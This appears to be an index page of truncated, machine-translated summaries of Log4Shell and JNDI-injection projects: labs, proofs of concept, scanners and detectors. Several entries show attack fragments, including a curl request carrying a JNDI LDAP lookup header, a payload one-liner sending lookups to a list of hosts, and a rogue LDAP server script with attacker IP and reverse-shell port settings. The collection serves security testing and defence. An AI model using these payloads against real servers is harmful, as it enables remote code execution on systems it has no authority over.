CVE-2024-21182---Oracle-WebLogic-Server-JNDI-Injection-RCE

CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE CVE-2024-21182 - Oracle WebLogic Server JNDI Injection → RCE -orange 📋 説明 CVE-2024-21182 は、Oracle WebLogic Server の Core コンポーネントに影響を与える、認証を必要としない JNDI インジェクション脆弱性です。T3 または IIOP プロトコルを介したリモートの攻撃者が、サーバー上で任意のコードを実行 RCE...

log4jcheck

Log4j CVE-2021-44228 チェッカー マルチスレッドで、URL のリストを POST および GET リクエストとパラメータの組み合わせでチェックします。 NortwaveSecurity 版 から強く影響を受けています。 セットアップ チェックする URL チェックする URL のリストは、次の形式（csv）である必要があります： root@kitploit: description,URL,method,parameters production,example.com/login,POST,"username,password"...

log4shell-docker-lab

Log4Shell Docker ラボ（CVE-2021-44228） コンポーネント この Docker ラボは、以下の3つのコンポーネントで構成されています： 脆弱性のある Spring Boot アプリケーション リモートコード実行に使用される .class ファイルをホストする HTTP サーバー 特定の LDAP クエリを HTTP サーバーにリダイレクトする LDAP リファラルサーバー Docker ラボのセットアップ 1. Docker ネットワーク root@kitploit: docker network create log4shell 2. Docker...

Log4j-Exploit-CVE-2021-44228

Log4j-Exploit-CVE-2021-44228 Log4Shell 脆弱性テストツール https://log4shell.tools/ Java を同梱したエクスプロイト。アカウント作成などを避けるためです.. root@kitploit: http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc%25281%2529.zip/file root@kitploit: pip install -r requirements.txt root@kitploit: $ python3 poc.py --userip...

CVE-2021-44228_scanner-main-Modified-

CVE-2021-44228scanner 수정됨 - 사용 중단됨 원본 스크립트 및 저장소: https://github.com/CERTCC/CVE-2021-44228scanner 수정자: Alex Pena JndiLookup.class의 존재를 검색하여 jar, war, ear 파일을 스캔함으로써, log4j CVE-2021-44228 문제에 취약한 애플리케이션을 탐지할 수 있습니다. 발견된 모든 파일은 해당 애플리케이션이 취약한지 확인하기 위해 조사할 가치가 있습니다. JndiLookup.class가 존재하는 경우, log4j는...

apache-tomcat-log4j

Apache Tomcat における Log4j2 CVE-2021-44228 脆弱性 POC プレビュー セットアップ Tomcat サーバーの起動 root@kitploit: git clone cd apache-tomcat-10.0.14/bin startup.bat エクスプロイトクラスの配信 root@kitploit: cd exploit py -m http.server 8888 root@kitploit: cd exploit java -cp marshalsec-0.0.3-SNAPSHOT-all.jar...

JNDI-Injection-Exploit-Plus

JNDI-Injection-Exploit-Plus 중국어 README 설명 JNDI-Injection-Exploit-Plus는 작동 가능한 JNDI 링크 를 생성하고 RMI 서버, LDAP 서버 및 HTTP 서버를 시작하여 백그라운드 서비스를 제공하는 도구입니다. 이 도구를 사용하면 JNDI 링크를 얻을 수 있으며, 이 링크를 POC 에 삽입하여 취약점을 테스트할 수 있습니다. 예를 들어, 다음은 Fastjson 취약점 POC입니다: root@kitploit:...

CVE-2021-44228-PoC

CVE-2021-44228 Log4Shell 개념 증명 Apache Log4j2 =2.14.1의 설정, 로그 메시지 및 매개변수에 사용되는 JNDI 기능은 공격자가 제어하는 LDAP 및 기타 JNDI 관련 엔드포인트로부터 보호하지 않습니다. 메시지 조회 대체가 활성화된 경우 로그 메시지 또는 로그 메시지 매개변수를 제어할 수 있는 공격자는 LDAP 서버에서 로드된 임의 코드를 실행할 수 있습니다. 고객이 이 취약점의 작동 방식을 이해할 수 있도록 간단하면서도 작동하는 개념 증명을 포함한 이 리포지토리를 준비했습니다. 사전 요구...

log4j-vul

log4j-vul 本项目仅用于演示 Apache Log4j2 漏洞，即 CVE-2021-44228。 Java: java version "1.8.0121" 编译： （在 src 文件夹内） javac -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar com\example\Log4jVul.java 执行/运行： （在 src 文件夹内） java -classpath .;..\lib\log4j-api-2.1.jar;..\lib\log4j-core-2.1.jar...

Log4Shell-Payloads

🚨 Log4Shell 페이로드 컬렉션 Log4Shell / Log4J 익스플로잇 페이로드 의 엄선된 목록으로 다음을 대상으로 합니다: CVE-2021-45046 CVE-2022-42889 🔗 제작: @nav1n0x 🔥 한 줄 페이로드 ✅ 원라이너 1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

cve-2021-44228

CVE-2021-44228 このリポジトリは、悪名高いCVE-2021-44228問題の簡略化されたシミュレーションを示しています。 システムプロパティやその他の辞書構造のルックアップに加えて、Apache Log4jはさまざまな理由でJNDIルックアップ機能も実装しています。 JNDIは、LDAP、DNS、Java RMIレジストリなど、多くのサービスプロバイダからサービスを取得できます。 JNDI自体は単純で安全ではないAPIであり、サードパーティによって制御されるサービスプロバイダからの保護はありません。...

cloudrasp-log4j2

CloudArmor · ランタイムアプリケーション自己防御モジュール - Log4j2 バージョン 简体中文 このプロジェクトは、Log4j2 CVE-2021-44228 を防御するために特別に構築された CloudArmor のローカルバージョンです。このプロジェクトを実行するためにネットワーク接続は必要ありません。 本番環境にデプロイする前に必ずテストを行ってください。...

Log4Shell-vulnerability-CVE-2021-44228-

Log4Shell 脅威検出 CVE-2021-44228 概要 このリポジトリは、機械学習ベースのLog4Shell CVE-2021-44228 脅威検出システム の詳細な分析と実装を提供します。内容は以下の通りです： Log4Shellの理解 : その概要と危険性 データセット収集 : ソースと前処理手順 特徴量エンジニアリング : JNDIベースの悪意のあるパターンの抽出 機械学習モデルのトレーニング : ランダムフォレストベースの検出 結果と分析 : パフォーマンス指標と評価グラフ 結論と今後の課題 脅威の概要 - Log4Shell CVE-2021-44228 脆弱性:...

log4shell-vulnerable-app

Log4Shell サンプル脆弱性アプリケーション（CVE-2021-44228）- 二度編集済み このリポジトリには、CVE-2021-44228 に対して脆弱な Spring Boot Web アプリケーションが含まれています。この脆弱性は Log4Shell と呼ばれています。 Log4j 2.14.1（spring-boot-starter-log4j2 2.6.1 経由）と JDK 1.8.0181 を使用しています。 アプリケーションの実行 実行: root@kitploit: docker run --name vulnerable-app --rm -p 8080:808...

dubbo-CVE-2023-23638

CVE-2023-23638 学習研究目的のみ ZooKeeper はご自身でご用意ください テスト環境は Java 8 です。他のバージョンは未テストであり、動作を保証しません。 再現時には、DemoConsumer に VM パラメータ -Ddubbo.hessian.allowNonSerializable=true を追加する必要があります。詳細は https://su18.org/post/hessian/serializable を参照してください。 分析記事:...

spring-boot-log4j-cve-2021-44228-docker-lab

Spring Boot Log4j - CVE-2021-44228 Log4Shell 脆弱性 CVE-2021-44228 は、最終的には非常に単純な JNDI インジェクションの欠陥ですが、非常に非常に悪い場所にあります。Log4J は、ログメッセージ内のプレースホルダーを展開する際（またはフォーマットメッセージのパラメーターとして間接的に）JNDI lookup を実行します。...続きを読む PSA: Log4Shell と JNDI インジェクションの現状。 Dockerラボのセットアップ 注: この Dockerfile は元々 Log4Shell sample...

log4shell_lab

log4shell エクスプロイトラボ このリポジトリは、log4shell エクスプロイトラボのワンラインセットアップです。 ラボのセットアップ: docker-compose up -d エクスプロイトの実行: curl -X GET http://localhost:8080/ -H "X-Api-Version: $jndi:ldap://myldapserver:1389/a" 次に、vul コンテナに移動して、実際にマシンを pwn したことを確認します: ラボのセットアップを解説する動画: https://www.youtube.com/watch?v=WBzR30JcT5...

log4shell

log4shell Pythonスクリプトは、CVE-2021-44228およびCVE-2021-45046の脆弱性があるlog4j JARファイルをサーバーファイルシステムからスキャンします。スクリプトはファイルシステム（zip、ear、warを含む）を再帰的に走査し、org/apache/logging/log4j/core/lookup/JndiLookup.classを含むlog4jバージョン2.から2.15を検出します。...

CVE-2021-44228-Log4Shell-

CVE-2021-44228-Log4Shell- 침투 테스트 1. 악성 LDAP 서버 생성 Marshalsec 사용 !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khởi động LDAP server độc hại trên...

Log4j-JNDIServer

Log4j-JNDIServer このプロジェクトは、Log4jの脆弱性CVE-2021-44228およびCVE-2021-45046をテストするのに役立ちます。 インストールとビルド IntelliJ IDEAでプロジェクトを読み込む 「プロジェクト設定」でJDKを選択 Ctrl + Alt + Shift + S 「プロジェクト設定」でアーティファクトを作成 - 「アーティファクト」 - 「モジュールからJARを作成」 - 「ライブラリからのJARファイル」で「ターゲットJARに抽出」を選択 - 「OK」 プロジェクトをビルド Ctrl +...